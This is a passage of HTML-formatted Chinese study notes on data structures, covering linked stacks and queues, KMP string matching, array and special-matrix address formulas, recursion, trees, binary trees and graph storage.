&lt;li&gt;最后结点&lt;/li&gt;
&lt;li&gt;中间结点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链式栈：特殊单链表
&lt;ul&gt;
&lt;li&gt;维持一个栈顶指针&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链式队列：特殊单链表
&lt;ul&gt;
&lt;li&gt;维持队首队尾两个指针&lt;/li&gt;
&lt;li&gt;插入：
&lt;ul&gt;
&lt;li&gt;空队列插入&lt;/li&gt;
&lt;li&gt;非空队列插入&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;删除：
&lt;ul&gt;
&lt;li&gt;只有一个结点&lt;/li&gt;
&lt;li&gt;不只一个结点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第四章 字符串、数组和特殊矩阵&lt;/h2&gt;
&lt;h3&gt;字符串&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：元素类型为字符的特殊线性表&lt;/li&gt;
&lt;li&gt;子串：串中任意个连续字符构成的子序列&lt;/li&gt;
&lt;li&gt;主串：包含子串的串&lt;/li&gt;
&lt;li&gt;长度：串中所含字符个数&lt;/li&gt;
&lt;li&gt;位置：字符在串序列中的序号&lt;/li&gt;
&lt;li&gt;相等：长度相等且对应位置字符都相等&lt;/li&gt;
&lt;li&gt;实现：
&lt;ul&gt;
&lt;li&gt;顺序串（顺序存储）：
&lt;ul&gt;
&lt;li&gt;插入：从新字符往后的元素需向后移动&lt;/li&gt;
&lt;li&gt;删除：从被删除字符往后的元素需向前移动&lt;/li&gt;
&lt;li&gt;连接&lt;/li&gt;
&lt;li&gt;求子串&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链式串（链式存储）：
&lt;ul&gt;
&lt;li&gt;插入：链表插入&lt;/li&gt;
&lt;li&gt;删除：链表删除&lt;/li&gt;
&lt;li&gt;连接&lt;/li&gt;
&lt;li&gt;求子串&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;模式匹配：寻找字符串 p（模式）在字符串 t（正文）中出现的位置
&lt;ul&gt;
&lt;li&gt;实现：
&lt;ul&gt;
&lt;li&gt;朴素：用模式中的字符与正文中的字符一一比较
&lt;ul&gt;
&lt;li&gt;最坏：O(nm)：n、m 分别为模式、正文中的字符数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;快速（KMP算法）：
&lt;ul&gt;
&lt;li&gt;前缀：除最后一个字符外的全部头部组合&lt;/li&gt;
&lt;li&gt;后缀：除第一个字符外的全部尾部组合&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;先求模式的部分匹配表（前缀后缀最长共有元素长度）&lt;/li&gt;
&lt;li&gt;根据匹配表移动元素
&lt;ul&gt;
&lt;li&gt;当模式的第一个字符相等时：&lt;code&gt;移动位数 = 已匹配字符数 - 对应匹配值（从匹配表中得）&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;当模式的第一个字符不相等时：&lt;code&gt;移动位数 = 1&lt;/code&gt; 即不考虑匹配表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;KMP 算法：&lt;/p&gt;
&lt;p&gt;KMP 算法可部分匹配，也可找出全部匹配&lt;/p&gt;
&lt;p&gt;正文：BBC_ABCDAB_ABCDABCDABDE
模式：ABCDABD（部分匹配表）（Next 数组）&lt;/p&gt;
&lt;p&gt;部分匹配值：0 0 0 0 1 2 0 一一对应，来自于前缀和后缀的最长共有元素个数&lt;/p&gt;
&lt;p&gt;1 的得来：ABCDA 前缀为 [A, AB, ABC, ABCD] 后缀为 [BCDA, CDA, CD, A] 共有元素为 A，只有一个，所以为1&lt;/p&gt;
&lt;p&gt;前缀：除最后一个字符外全部头部组合 -&amp;gt; [A, AB, ABC, ABCD, ABCDA, ABCDAB]
后缀：除第一个字符外全部尾部组合 -&amp;gt; [BCDABD, CDABD, DABD, ABD, BD, D]&lt;/p&gt;
&lt;p&gt;如果第一个字符就不匹配，直接移动一位，不考虑匹配表。
移动位数 = 已匹配字符数 - 对应的部分匹配值&lt;/p&gt;
&lt;h3&gt;数组&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;每个元素有一个值和一组下标确定，每个下标对应每个值&lt;/li&gt;
&lt;li&gt;数组中的元素数量固定，无法添加和删除，只能访问和改变值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;实现：顺序存储结构，使用连续的存储空间存储&lt;/li&gt;
&lt;li&gt;多维数组存储顺序：
&lt;ul&gt;
&lt;li&gt;按行优先：第一行顺序存储、第二行顺序存储等&lt;/li&gt;
&lt;li&gt;按列优先：第一列顺序存储、第二行顺序存储等&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;地址计算：
&lt;ul&gt;
&lt;li&gt;二维数组：设有二维数组 A[m][n]，共有 m 行、n 列
&lt;ul&gt;
&lt;li&gt;按行优先：&lt;code&gt;a[i][j] 地址 = 首地址 + (i*n+j) * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;按列优先：&lt;code&gt;a[i][j] 地址 = 首地址 + (j*m+i) * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;多维数组：设有多维数组 B[m][n][o][p]
&lt;ul&gt;
&lt;li&gt;按行优先：&lt;code&gt;a[i][j][k][l] 地址 = 首地址 + (i*n*o*p+j*o*p+k*p+l) * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;按列优先：&lt;code&gt;a[i][j][k][l] 地址 = 首地址 + (l*o*n*m+k*n*m+j*m+i) * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;操作：
&lt;ul&gt;
&lt;li&gt;初始化数组：求出各维 &lt;code&gt;C_i&lt;/code&gt; 值，这个值只依赖于各维大小和单个元素存储空间&lt;/li&gt;
&lt;li&gt;访问数组元素&lt;/li&gt;
&lt;li&gt;赋值给数组元素&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;特殊矩阵&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：矩阵中包含许多相同值或零&lt;/li&gt;
&lt;li&gt;压缩存储：
&lt;ul&gt;
&lt;li&gt;多个相同值元素只分配一个存储空间&lt;/li&gt;
&lt;li&gt;值为 0 的元素不分配存储空间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;对称矩阵：满足 a[i][j] = a[j][i]
&lt;ul&gt;
&lt;li&gt;方阵：行数和列数相等&lt;/li&gt;
&lt;li&gt;对角线以上（i&amp;gt;=j）：&lt;code&gt;a[i][j] 地址 = 首地址 + [i*(i+1)/2+j] * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;对角线以上（i&amp;lt;=j）：&lt;code&gt;a[i][j] 地址 = 首地址 + [j*(j+1)/2+i] * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;三角矩阵：对角线以上或以下的元素值均为 0
&lt;ul&gt;
&lt;li&gt;下三角矩阵：对角线以上（i&amp;gt;=j）元素均为 0
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a[i][j] 地址 = 首地址 + [i*(i+1)/2+j] * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;上三角矩阵：对角线以上（i&amp;lt;=j）元素均为 0
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a[i][j] 地址 = 首地址 + [i*n-(i-1)*i/2+j-i] * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;带状矩阵：全部非零元素落在以对角线为中心的带状区域
&lt;ul&gt;
&lt;li&gt;包含：主对角线 + 主对角线上面和下面各 b 条对角线（半带宽：&lt;code&gt;b&lt;/code&gt;，带宽：&lt;code&gt;2b+1&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;特点：当 &lt;code&gt;|i-j| &amp;gt; b&lt;/code&gt; 时，a[i][j] 为特殊元素（零值、相同值或可忽略值）&lt;/li&gt;
&lt;li&gt;存储：除第一行和最后一行外，每行都会分配 &lt;code&gt;2b+1&lt;/code&gt; 个空间，共有空间：&lt;code&gt;[(2b+1)*n-2b] * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;当 &lt;code&gt;|i-j| &amp;lt;= b&lt;/code&gt; 时，&lt;code&gt;a[i][j] 地址 = 首地址 + [i*(2b+1)+j-i] * 单个元素存储空间&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;稀疏矩阵：为零元素个数远远大于非零元素个数
&lt;ul&gt;
&lt;li&gt;顺序存储：
&lt;ul&gt;
&lt;li&gt;方法：
&lt;ul&gt;
&lt;li&gt;三元组表示法：行号、列号、值，按行号递增，同一行按列号递增&lt;/li&gt;
&lt;li&gt;带辅助行向量的二元组表示法&lt;/li&gt;
&lt;li&gt;伪地址法&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;三元组表示时的矩阵转置&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链式存储：
&lt;ul&gt;
&lt;li&gt;方法：
&lt;ul&gt;
&lt;li&gt;带行指针向量的单链表表示法&lt;/li&gt;
&lt;li&gt;行列表示法&lt;/li&gt;
&lt;li&gt;十字链表表示法：只存储非零元素。三个环形链表（带表头结点）：1、2 两个链表共用表头结点（第 i 行链表和第 i 列链表）
&lt;ol&gt;
&lt;li&gt;同一行元素链表&lt;/li&gt;
&lt;li&gt;同一列元素链表&lt;/li&gt;
&lt;li&gt;表头结点链表&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第五章 递归&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;概念：
&lt;ul&gt;
&lt;li&gt;分类：
&lt;ul&gt;
&lt;li&gt;直接递归：函数定义中出现了对自身的调用&lt;/li&gt;
&lt;li&gt;间接递归：函数 a 调用函数 b，b 中又调用 a（环状调用链）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;分治设计：将问题分解为若干子问题，子问题与原问题结构相同、求解过程相同，但规模较小
&lt;ul&gt;
&lt;li&gt;利用子问题的解组合成原问题的解&lt;/li&gt;
&lt;li&gt;递归出口：通过修改参数再进行自身调用，直至子问题可被直接求解，可有多个递归出口&lt;/li&gt;
&lt;li&gt;参数的修改必定使递归出口的条件得以满足&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;调用栈：用于存放函数调用和返回所需的各种数据，包含：
&lt;ul&gt;
&lt;li&gt;函数调用执行完成时的返回地址&lt;/li&gt;
&lt;li&gt;函数返回值&lt;/li&gt;
&lt;li&gt;每次函数调用的实参&lt;/li&gt;
&lt;li&gt;局部变量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;递归程序转换成非递归程序：
&lt;ul&gt;
&lt;li&gt;简单递归问题：直接求值，无需回溯（递推方法）&lt;/li&gt;
&lt;li&gt;复杂递归问题：不能直接求值，必须试探和回溯（使用栈来记忆回溯点）&lt;/li&gt;
&lt;li&gt;递推方法：自底向上，先计算子问题避免重复计算&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第六章 树型结构&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;有且只有一个结点称为根&lt;/li&gt;
&lt;li&gt;其余结点又都是一棵树，称为根节点的子树&lt;/li&gt;
&lt;li&gt;递归定义：一棵树由根和子树构成，子树又由子树根和更小的子树构成&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;表示方法：树型结构法、括号表示法、凹入表示法、嵌套集合表示法&lt;/li&gt;
&lt;li&gt;关系：
&lt;ul&gt;
&lt;li&gt;A 在 B 上端：称 A 是 B 的双亲（父母、前件）&lt;/li&gt;
&lt;li&gt;B 在 A 下端：称 B 是 A 的子女（孩子、后件）&lt;/li&gt;
&lt;li&gt;B、C、D 的双亲为同一结点：称 B、C、D 互为兄弟&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;除根结点外，其余结点有且只有一个双亲，零个或多个子女&lt;/li&gt;
&lt;li&gt;度：
&lt;ul&gt;
&lt;li&gt;结点的度：一个结点拥有的子女数&lt;/li&gt;
&lt;li&gt;树的度：树中所有结点度的最大值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;结点的分类：
&lt;ul&gt;
&lt;li&gt;终端结点（叶子结点）：度为 0 的结点&lt;/li&gt;
&lt;li&gt;非终端结点（分支结点）：度不为 0 的结点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;树枝：连接两个结点的线段&lt;/li&gt;
&lt;li&gt;路径：从某结点从上而下到另一结点，则称这两个结点之间存在着一条路径&lt;/li&gt;
&lt;li&gt;路径长度：所经过的树枝的条数&lt;/li&gt;
&lt;li&gt;根节点到任何一个结点均存在一条路径&lt;/li&gt;
&lt;li&gt;祖先：从根到 A 结点所经过的所有结点称为 A 的祖先&lt;/li&gt;
&lt;li&gt;子孙：以 A 结点为根的子树中任何一个结点称为 A 的子孙&lt;/li&gt;
&lt;li&gt;层次：根节点为第 1 层，子女结点为第 2 层，以此类推&lt;/li&gt;
&lt;li&gt;树的深度（高度）：树中结点的最大层次数&lt;/li&gt;
&lt;li&gt;有序树：任意结点的子树均为从左到右有次序，不能随意交换&lt;/li&gt;
&lt;li&gt;无序树：子树可随意交换，不影响实际意义&lt;/li&gt;
&lt;li&gt;森林：m 棵互不相交的树构成的集合
&lt;ul&gt;
&lt;li&gt;树转换为森林：一棵树中每个结点的子树集合&lt;/li&gt;
&lt;li&gt;森林转换为树：森林中每棵树加上一个共同的根&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;树的存储结构&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;双亲表示法：指出双亲位置
&lt;ul&gt;
&lt;li&gt;除根结点无双亲外，其余结点有唯一确定的双亲&lt;/li&gt;
&lt;li&gt;结构：数据域 + 该结点的双亲指针或数组下标&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;孩子表示法：指出子女位置
&lt;ul&gt;
&lt;li&gt;结构：
&lt;ul&gt;
&lt;li&gt;指针方式：数据域 + 指针数组，数组中元素为指向该结点子女的指针&lt;/li&gt;
&lt;li&gt;数组方式：数据域 + 数组下标，树中结点存储在一维数组中；缺点：数组大小由树的度决定&lt;/li&gt;
&lt;li&gt;链表方式：数据域 + 单链表，由各个结点的子女组成，各单链表头指针也可以用数组来存储&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;孩子兄弟表示法：指出孩子和兄弟，再串联起来
&lt;ul&gt;
&lt;li&gt;以二叉链表方式存储（二叉树表示法）&lt;/li&gt;
&lt;li&gt;结构：数据域 + 指向当前结点的第一个子女结点 + 指向当前结点的右兄弟结点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;树的遍历&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;按某种规定的顺序访问树中结点一次，且仅一次&lt;/li&gt;
&lt;li&gt;把树的结点排成一个线性序列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;前序遍历：先根后左右：先根，再对子树从左到右&lt;/li&gt;
&lt;li&gt;后序遍历：先左右后根：先对子树从左到右，再跟&lt;/li&gt;
&lt;li&gt;层序遍历：从上到下，从左到右：队列&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;树的线性表示&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;树型结构分支性和层次性&lt;/li&gt;
&lt;li&gt;根据树的遍历序列无法唯一的确定一棵树&lt;/li&gt;
&lt;li&gt;线性表示：在遍历序列中附加信息从而唯一地确定一棵树
&lt;ul&gt;
&lt;li&gt;括号表示法：A(B, C(F, G, H), D, E(J, I))
&lt;ul&gt;
&lt;li&gt;左括号前的元素为括号内元素的根结点&lt;/li&gt;
&lt;li&gt;转换：用栈来匹配括号&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;层号表示法：1A, 2B, 2C, 5F, 5G, 5H, 2D, 2E, 3J, 3I
&lt;ul&gt;
&lt;li&gt;层号：
&lt;ul&gt;
&lt;li&gt;A 为 B 的孩子，则 A 的层号大于 B 的层号&lt;/li&gt;
&lt;li&gt;A、B 都为同一结点的孩子，则 A、B 层号相同&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;为每个结点规定层号，在按前序遍历顺序写出结点，结点前再加上层号&lt;/li&gt;
&lt;li&gt;一棵树的层号表示并不唯一，只要满足层号条件即可&lt;/li&gt;
&lt;li&gt;转换&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第七章 二叉树&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;非空结点最多有两个子女&lt;/li&gt;
&lt;li&gt;明确区分是左子树还是右子树，即使只有一颗子树&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;性质：
&lt;ul&gt;
&lt;li&gt;第 i 层最多有 &lt;code&gt;2^{i-1}&lt;/code&gt; 个结点（i&amp;gt;=1）&lt;/li&gt;
&lt;li&gt;深度 h 最多有 &lt;code&gt;2^h-1&lt;/code&gt; 个结点（h&amp;gt;=1）&lt;/li&gt;
&lt;li&gt;设终端结点数为 A，度为 2 的结点数为 B，则有 &lt;code&gt;A = B + 1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;满二叉树：终端结点在同一层且非终端结点的度均为 2，结点数为 &lt;code&gt;2^h-1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;完全二叉树：
&lt;ul&gt;
&lt;li&gt;扣除最后一层后变成满二叉树，且最后一层结点向左靠齐&lt;/li&gt;
&lt;li&gt;只有最下面两层的结点的度可以 &amp;lt; 2&lt;/li&gt;
&lt;li&gt;序号由层序遍历给出，对于序号为 i 的结点有：
&lt;ul&gt;
&lt;li&gt;i = 1：结点 i 为根节点，无双亲；i &amp;gt; 1：结点 i 双亲序号为 &lt;code&gt;/lfloor i/2 /rfloor&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;2i &amp;gt; n：结点 i 为终端结点；2i &amp;lt;= n：结点 i 左子女为结点 2i&lt;/li&gt;
&lt;li&gt;2i+1 &amp;gt; n：结点 i 无右子女；2i+1 &amp;lt;= n：结点 i 右子女为 2i + 1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;存储结构&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;顺序存储：
&lt;ul&gt;
&lt;li&gt;完全二叉树：按层序遍历的序号存入数组&lt;/li&gt;
&lt;li&gt;一般二叉树：共有 3 个域（3个数组），分别存放：数据 + 左孩子下标 + 右孩子下标，还可再增加一个域来存放双亲下标&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链式存储：数据域 + 指向左右子树的指针&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;操作&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;二叉树遍历：
&lt;ul&gt;
&lt;li&gt;前序遍历：先根后左右&lt;/li&gt;
&lt;li&gt;中序遍历：先左中根后右&lt;/li&gt;
&lt;li&gt;后序遍历：先左右后根&lt;/li&gt;
&lt;li&gt;创建二叉树的算法可由遍历算法得到&lt;/li&gt;
&lt;li&gt;非递归实现可用栈来保存回溯点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;其它操作：
&lt;ul&gt;
&lt;li&gt;查找：返回给定值在树中的位置&lt;/li&gt;
&lt;li&gt;统计结点个数&lt;/li&gt;
&lt;li&gt;判断两树是否等价&lt;/li&gt;
&lt;li&gt;求二叉树的高度（深度）：左子树高度和右子树高度中的最大值，再加 1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;穿线二叉树（线索二叉树）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;解决一般二叉树的空间浪费：设一颗二叉树有 n 个结点，则共有 2n 个指针，指针中只有 n-1 个被使用，n+1 个为空指针&lt;/li&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;指针：左右子树非空，则与正常二叉树相同指向&lt;/li&gt;
&lt;li&gt;线索：左子树为空，则让左指针指向某种遍历顺序下的前驱结点；右子树为空，则让右指针指向某种遍历顺序下的后驱结点&lt;/li&gt;
&lt;li&gt;当遍历顺序为前序时，则称之为前序穿线二叉树，以此类推&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;实现结构：增加两个标志位&lt;/li&gt;
&lt;li&gt;运算：
&lt;ul&gt;
&lt;li&gt;创建：先创建普通二叉树，再对其进行线索化&lt;/li&gt;
&lt;li&gt;中序遍历&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;树（森林）和二叉树的相互转换&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;树（森林）唯一对应一颗二叉树&lt;/li&gt;
&lt;li&gt;一颗二叉树唯一对应一棵树（森林）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;树（森林）转换为二叉树：
&lt;ol&gt;
&lt;li&gt;兄弟结点间添加一条连线（森林时，则各个树根间也加）&lt;/li&gt;
&lt;li&gt;对每个结点，只保留到第一个子女的连线，撤销到其它子女的连线&lt;/li&gt;
&lt;li&gt;顺时针方向旋转 45°&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;二叉树转换为树（森林）：
&lt;ol&gt;
&lt;li&gt;将二叉树逆时针方向旋转 45°&lt;/li&gt;
&lt;li&gt;连接新右子女：如果某结点是其双亲的左子女，则将该结点的右子女、右子女的右子女等（直到没有右子女）都与该结点的双亲结点连线&lt;/li&gt;
&lt;li&gt;删除旧右子女：去掉双亲到右子女的连线&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第八章 图&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;定义：非空顶点集合 + 描述顶点间多对多关系的边集合（弧集合）&lt;/li&gt;
&lt;li&gt;n：顶点数；e：边数&lt;/li&gt;
&lt;li&gt;弧（有向边）：
&lt;ul&gt;
&lt;li&gt;弧尾：弧的始点&lt;/li&gt;
&lt;li&gt;弧头：弧的终点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;无向图：图的边没有方向：&lt;code&gt;e &amp;lt;= n(n-1)/2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;完全图：拥有最多的边数，任意一对顶点间均有边相连
&lt;ul&gt;
&lt;li&gt;有向完全图：&lt;code&gt;e = n(n-1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;无向完全图：&lt;code&gt;e = n(n-1)/2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;邻接术语说明：
&lt;ul&gt;
&lt;li&gt;无向边：&lt;code&gt;(A, B)&lt;/code&gt;：
&lt;ul&gt;
&lt;li&gt;顶点 A 和顶点 B 互为邻接点；A 与 B 相邻接&lt;/li&gt;
&lt;li&gt;边 (A, B) 关联于顶点 A 和顶点 B；边 (A, B) 与顶点 A 和 B 相关联&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有向边：&lt;code&gt;&amp;lt;A, B&amp;gt;&lt;/code&gt;：
&lt;ul&gt;
&lt;li&gt;A 邻接到 B；B 邻接于 A&lt;/li&gt;
&lt;li&gt;边 &amp;lt;A, B&amp;gt; 关联于顶点 A 和顶点 B；边 &amp;lt;A, B&amp;gt; 与顶点 A 和 B 相关联&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;度：一个顶点的度就是与该顶点相关联的边的数目
&lt;ul&gt;
&lt;li&gt;有向图时：
&lt;ul&gt;
&lt;li&gt;入度：以顶点为终点的边数&lt;/li&gt;
&lt;li&gt;出度：以顶点为始点的边数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;子图：设 &lt;code&gt;G_i = (V_i, E_i)，G_j = (V_j, E_j)&lt;/code&gt;，如果满足 &lt;code&gt;V_i &amp;lt;= V_j，E_i &amp;lt;= E_j&lt;/code&gt;，则 &lt;code&gt;G_i&lt;/code&gt; 是 &lt;code&gt;G_j&lt;/code&gt; 的子图&lt;/li&gt;
&lt;li&gt;路径：从顶点 A 到顶点 B 经过的边都在图的边集中，称这个序列为 A 到 B 的一条路径
&lt;ul&gt;
&lt;li&gt;图为有向图时，路径也是有向的&lt;/li&gt;
&lt;li&gt;路径长度：该路径上的边的数目&lt;/li&gt;
&lt;li&gt;简单路径：除起点和终点外，其余路径上的顶点均不相同
&lt;ul&gt;
&lt;li&gt;简单回路（简单环）：起点和终点相同的简单路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;连通术语说明：
&lt;ul&gt;
&lt;li&gt;无向图：
&lt;ul&gt;
&lt;li&gt;连通：任意两个顶点 A、B 互相有路径
&lt;ul&gt;
&lt;li&gt;极大连通子图（又称为连通分量）为其自身&lt;/li&gt;
&lt;li&gt;极小连通子图为其生成树&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;不连通：
&lt;ul&gt;
&lt;li&gt;多个极大连通子图&lt;/li&gt;
&lt;li&gt;多个极小连通子图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有向图：
&lt;ul&gt;
&lt;li&gt;连通（称为强连通）：任意两个顶点 A、B：A 到 B、B 到 A 有路径
&lt;ul&gt;
&lt;li&gt;极大连通子图（又称为强连通分量）为其自身&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;不连通：
&lt;ul&gt;
&lt;li&gt;多个极大连通子图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;没有极小连通子图的概念&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;权：与边相关的数值&lt;/li&gt;
&lt;li&gt;带权图（网络）：图的每条边都有权&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;图的存储结构&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;要求：既要存储图的顶点信息，又要存储顶点之间的联系（边）&lt;/li&gt;
&lt;li&gt;邻接矩阵：
&lt;ul&gt;
&lt;li&gt;结构：
&lt;ol&gt;
&lt;li&gt;先用一维数组（顺序表）存储数据元素的信息&lt;/li&gt;
&lt;li&gt;再用二维数组（邻接矩阵）存储数据元素之间的关系（边）&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;度数：
&lt;ul&gt;
&lt;li&gt;无向图：当顶点为 V_i 时，度数为第 i 行或第 i 列值为 1 的元素个数&lt;/li&gt;
&lt;li&gt;有向图：当顶点为 V_i 时，
&lt;ul&gt;
&lt;li&gt;出度：第 i 行值为 1 的元素个数&lt;/li&gt;
&lt;li&gt;入度：第 i 列值为 1 的元素个数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;存储网络：边：&lt;code&gt;(i, j)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;边在边集中：存储权值&lt;/li&gt;
&lt;li&gt;边不在边集中且 i = j：存储 0&lt;/li&gt;
&lt;li&gt;边不在边集中且 i != j：存储无穷大&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;存储空间：
&lt;ul&gt;
&lt;li&gt;无向图：n^2
&lt;ul&gt;
